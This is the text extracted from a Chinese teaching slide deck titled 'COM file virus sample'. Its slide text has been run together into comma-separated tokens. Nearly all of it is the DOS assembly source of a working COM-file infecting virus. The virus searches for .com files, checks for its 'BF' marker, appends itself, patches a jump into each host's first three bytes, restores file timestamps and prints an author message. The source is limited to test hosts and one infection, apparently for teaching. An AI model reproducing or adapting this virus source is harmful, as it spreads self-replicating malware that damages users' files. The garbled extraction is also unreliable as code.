com文件病毒样例.ppt

单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,*,*,*,org 100h,Start:,call,get_displacement,Get_displacement,:,pop,bp,sub,bp,offset,get_displacement,Save_path,:,mov,ah,47h,xor,dl,dl,lea,si,bp+org_path,int,21h,get_dta,:,mov,ah,2fh,int,21h,mov,bp+old_dta_off,bx,set_dta,:,mov,ah,1ah,lea,dx,bp+dta_filler,int,21h,Search:,mov,ah,4eh,mov,cx,bp+search_attrib,lea,dx,bp+search_mask,int,21h,jnc,clear_attrib,Find_next,:,mov,ah,4fh,int,21h,jnc,clear_attrib,Still_searching,:,mov,ah,3bh,lea,dx,bp+previous_dir,int,21h,jnc,search,jmp,bomb,Clear_attrib,:,mov,ax,4301h,xor,cx,cx,lea,dx,bp+dta_file_name,int,21h,Open_file,:,mov,ax,3D02h,lea,dx,bp+dta_file_name,int,21h,xchg,bx,ax,Check_if_host_com,:,mov,ah,bp+dta_file_name,cmp,ah,bp+host_com,jz,check_if_infected,jmp,close_file,Check_if_infected,:,mov,dx,word,ptr,bp+dta_file_size,sub dx,2,mov,ax,4200h,mov,cx,0,int,21h,mov,ah,3fh,mov,cx,2,lea,dx,bp+last_chars,int,21h,mov,ah,bp+last_chars,cmp,ah,bp+virus_id,jne,save_3_bytes,mov,ah,bp+last_chars+1,cmp,ah,bp+virus_id+1,jne,save_3_bytes,jmp,close_file,Save_3_bytes:,mov,ax,4200h,xor,cx,cx,xor,dx,dx,int,21h,mov,ah,3fh,mov,cx,3,lea dx,bp+_3_bytes,int,21h,Goto_eof,:,mov,ax,4202h,xor,cx,cx,xor,dx,dx,int,21h,Save_jmp_displacement,:,sub ax,3,mov,bp+jmp_disp,ax,Write_code,:,mov,ah,40h,mov,cx,virus_length,lea,dx,bp+start,int,21h,Goto_bof,:,mov,ax,4200h,xor,cx,cx,xor,dx,dx,int,21h,Write_jmp,:,mov,ah,40h,mov,cx,3,lea,dx,bp+jmp_code,int,21h,inc,bp+infections,Restore_date_time,:,mov,ax,5701h,mov,cx,bp+dta_file_time,mov,dx,bp+dta_file_date,int,21h,Close_file,:,mov,ah,3eh,int,21h,Restore_attrib,:,xor,ch,ch,mov,cl,bp+dta_file_attrib,mov,ax,4301h,lea,dx,bp+dta_file_name,int,21h,Done_infecting,?:,mov,ah,bp+infections,lea,dx,bp+max_infections,jz,bomb,jmp,find_next,Bomb:,cmp,bp,0,je,restore_path,pop,dx,push,dx,add,dx,offset,sz_message,-offset start,mov,ah,09h,int,21h,Restore_path,:,mov,ah,3bh,lea,dx,bp+root,int,21h,mov,ah,3bh,lea,dx,bp+org_path,int,21h,Restore_dta,:,mov,ah,1ah,mov,dx,bp+old_dta_off,int,21h,Restore_3_bytes:,lea si,bp+_3_bytes,mov,di,100h,cld,mov,cx,3,rep,movsb,Return_control_or_exit,?:,cmp,bp,0,je,exit,mov,di,100h,jmp,di,Exit:,mov,ax,4c00h,int,21h,变量声明,old_dta_off,dw,0,Dta,记录,Dta_flller,db 21 dup(0),Dta_file_attrib,db 0,Dta_file_time,dw,0,Dta_file_date,dw,0,Dta_file_size,dd,0,Dta_file_name,db 13 dup(0),Search_mask,db“*.com”,0,Search_attrib,dw,00100111b,Host_com,db“host_”,0,Previous_dir,db“.”,0,Root db“”,0,Org_path,db 64 dup(0),Infections db 0,Max_infections,db 1,_3_bytes db 0,0,0,Jmp_code,db 0E9h,Jmp_disp,dw,0,Last_chars,db 0,0,Virus_id,db“BF”,Sz_message,:,db 0ah,0dh,07h,db Virus infection test!,db COM Virus Ver1.0 by,BFish,2005.4.29,Eov,:,Virus_length,equ,offset,eov,-offset start,end start,